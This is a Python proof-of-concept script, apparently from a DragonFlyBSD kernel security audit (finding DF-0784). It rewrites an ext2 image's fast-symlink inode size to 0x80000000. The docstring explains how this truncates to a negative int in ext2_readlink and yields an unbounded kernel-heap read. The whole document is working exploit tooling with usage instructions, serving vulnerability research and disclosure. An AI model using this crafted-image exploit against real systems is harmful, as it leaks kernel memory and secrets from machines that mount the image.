DragonFlyBSD Kernel Audit
DF-0784 / craft_img.py
← back to finding ↓ download raw
#!/usr/bin/env python3
"""
DF-0784 image patcher.

Takes a clean ext2 filesystem image that already contains a fast (inline) symlink
and rewrites the symlink inode's on-disk `e2di_size` field to 0x80000000, so that
`i_size` becomes 0x0000000080000000 in the in-memory `struct inode` (uint64).

In `ext2_readlink` (sys/vfs/ext2fs/ext2_vnops.c:1350-1354):
    int isize;
    isize = ip->i_size;                          // truncates to (int)-2147483648
    if (isize < vp->v_mount->mnt_maxsymlinklen)  // -2^31 < 60  -> TRUE
        uiomove((char *)ip->i_shortlink, isize, ap->a_uio);
            // isize is promoted int -> size_t == 0xFFFFFFFF80000000

This is the unbounded kernel-heap read primitive of DF-0784.

Usage:
    craft_img.py <image> <inode_number>           # default patch: 0x80000000
    craft_img.py <image> <inode_number> 0xDEAD0000 # custom 32-bit size
"""

import struct
import sys

# ext2 superblock field offsets (all little-endian uint32 unless noted).
# See sys/vfs/ext2fs/ext2_sb.h s_es layout.  The superblock lives at byte 1024
# of the image (block 1 for a 1KB-block fs).
SB_OFF = 1024
S_LOG_BLOCK_SIZE   = 24   # uint32, block_size = 1024 << s_log_block_size
S_INODES_PER_GROUP = 40
S_FIRST_INO        = 84   # first non-reserved inode (we don't actually need it)
S_INODE_SIZE       = 88   # uint16, bytes per inode
S_FIRST_DATA_BLOCK = 20   # uint32 (=0 for 1KB-block fs, =1 otherwise)

# Per-block-group descriptor.  The descriptor table starts in the block
# immediately after the superblock.  Fields we need:
BG_INODE_TABLE_LO = 8     # uint32, block number of inode table (low 32 bits)

def patch(image_path, ino, size32):
    with open(image_path, "r+b") as f:
        data = f.read()
        # --- parse superblock ---
        sb = data[SB_OFF:SB_OFF+1024]
        log_bs = struct.unpack_from("<I", sb, S_LOG_BLOCK_SIZE)[0]
        block_size = 1024 << log_bs
        inodes_per_group = struct.unpack_from("<I", sb, S_INODES_PER_GROUP)[0]
        inode_size = struct.unpack_from("<H", sb, S_INODE_SIZE)[0]
        first_data_block = struct.unpack_from("<I", sb, S_FIRST_DATA_BLOCK)[0]
        print("[*] block_size      = %d" % block_size)
        print("[*] inodes_per_group= %d" % inodes_per_group)
        print("[*] inode_size      = %d bytes" % inode_size)
        print("[*] first_data_block= %d" % first_data_block)

        # --- block-group descriptor for the group containing `ino` ---
        group = (ino - 1) // inodes_per_group
        bgdt_start_block = first_data_block + 1
        bgdt_off = bgdt_start_block * block_size + group * 32
        inode_table_block = struct.unpack_from("<I", data, bgdt_off + BG_INODE_TABLE_LO)[0]
        print("[*] inode %d -> group %d, inode_table @ block %d" %
              (ino, group, inode_table_block))

        # --- locate on-disk inode ---
        ino_index_in_group = (ino - 1) % inodes_per_group
        inode_off = inode_table_block * block_size + ino_index_in_group * inode_size
        print("[*] on-disk inode byte offset = %d (0x%x)" % (inode_off, inode_off))

        old_size = struct.unpack_from("<I", data, inode_off + 4)[0]
        print("[*] old e2di_size = 0x%08x" % old_size)
        print("[*] new e2di_size = 0x%08x" % size32)

        f.seek(inode_off + 4)
        f.write(struct.pack("<I", size32 & 0xFFFFFFFF))
        f.flush()
        print("[+] patched.")

if __name__ == "__main__":
    if len(sys.argv) < 3:
        print(__doc__)
        sys.exit(1)
    image = sys.argv[1]
    ino = int(sys.argv[2])
    size32 = 0x80000000
    if len(sys.argv) >= 4:
        size32 = int(sys.argv[3], 0)
    patch(image, ino, size32)